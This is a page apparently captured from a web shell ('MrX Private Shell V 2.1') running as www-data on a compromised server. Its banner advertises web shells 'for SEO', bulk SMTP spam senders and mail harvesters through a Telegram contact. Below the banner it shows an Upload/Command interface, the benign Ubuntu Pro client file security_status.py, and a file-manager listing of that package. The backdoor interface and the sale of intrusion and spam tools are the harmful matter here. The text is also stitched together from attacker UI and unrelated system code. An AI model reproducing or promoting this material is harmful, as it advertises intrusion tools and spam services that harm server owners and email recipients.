__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
import json

from uaclient import messages, security_status, util
from uaclient.cli.commands import (
    ProArgument,
    ProArgumentGroup,
    ProArgumentMutuallyExclusiveGroup,
    ProCommand,
)
from uaclient.cli.parser import HelpCategory
from uaclient.yaml import safe_dump


def action_security_status(args, *, cfg, **kwargs):
    if args.format == "text":
        if args.thirdparty:
            security_status.list_third_party_packages()
        elif args.unavailable:
            security_status.list_unavailable_packages()
        elif args.esm_infra:
            security_status.list_esm_infra_packages(cfg)
        elif args.esm_apps:
            security_status.list_esm_apps_packages(cfg)
        else:
            security_status.security_status(cfg)
    elif args.format == "json":
        print(
            json.dumps(
                security_status.security_status_dict(cfg),
                sort_keys=True,
                cls=util.DatetimeAwareJSONEncoder,
            )
        )
    else:
        print(
            safe_dump(
                security_status.security_status_dict(cfg),
                default_flow_style=False,
            )
        )
    return 0


security_status_command = ProCommand(
    "security-status",
    help=messages.CLI_ROOT_SECURITY_STATUS,
    description=messages.CLI_SS_DESC,
    preserve_description=True,
    action=action_security_status,
    help_category=HelpCategory.QUICKSTART,
    help_position=5,
    argument_groups=[
        ProArgumentGroup(
            arguments=[
                ProArgument(
                    "--format",
                    help=messages.CLI_FORMAT_DESC.format(default="text"),
                    choices=("json", "yaml", "text"),
                    default="text",
                )
            ],
            mutually_exclusive_groups=[
                ProArgumentMutuallyExclusiveGroup(
                    arguments=[
                        ProArgument(
                            "--thirdparty",
                            help=messages.CLI_SS_THIRDPARTY,
                            action="store_true",
                        ),
                        ProArgument(
                            "--unavailable",
                            help=messages.CLI_SS_UNAVAILABLE,
                            action="store_true",
                        ),
                        ProArgument(
                            "--esm-infra",
                            help=messages.CLI_SS_ESM_INFRA,
                            action="store_true",
                        ),
                        ProArgument(
                            "--esm-apps",
                            help=messages.CLI_SS_ESM_APPS,
                            action="store_true",
                        ),
                    ]
                )
            ],
        )
    ],
)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 9.28 KB 0644
api.py File 2.4 KB 0644
attach.py File 5.48 KB 0644
auto_attach.py File 958 B 0644
cli_util.py File 8.08 KB 0644
collect_logs.py File 1.6 KB 0644
commands.py File 3.68 KB 0644
config.py File 10.72 KB 0644
cve.py File 6.73 KB 0644
cves.py File 3.78 KB 0644
detach.py File 3.38 KB 0644
disable.py File 10.65 KB 0644
enable.py File 18.81 KB 0644
fix.py File 28.63 KB 0644
formatter.py File 8.75 KB 0644
help.py File 1.67 KB 0644
parser.py File 2.72 KB 0644
refresh.py File 2.42 KB 0644
security_status.py File 2.79 KB 0644
status.py File 2.37 KB 0644
system.py File 1.05 KB 0644
Filemanager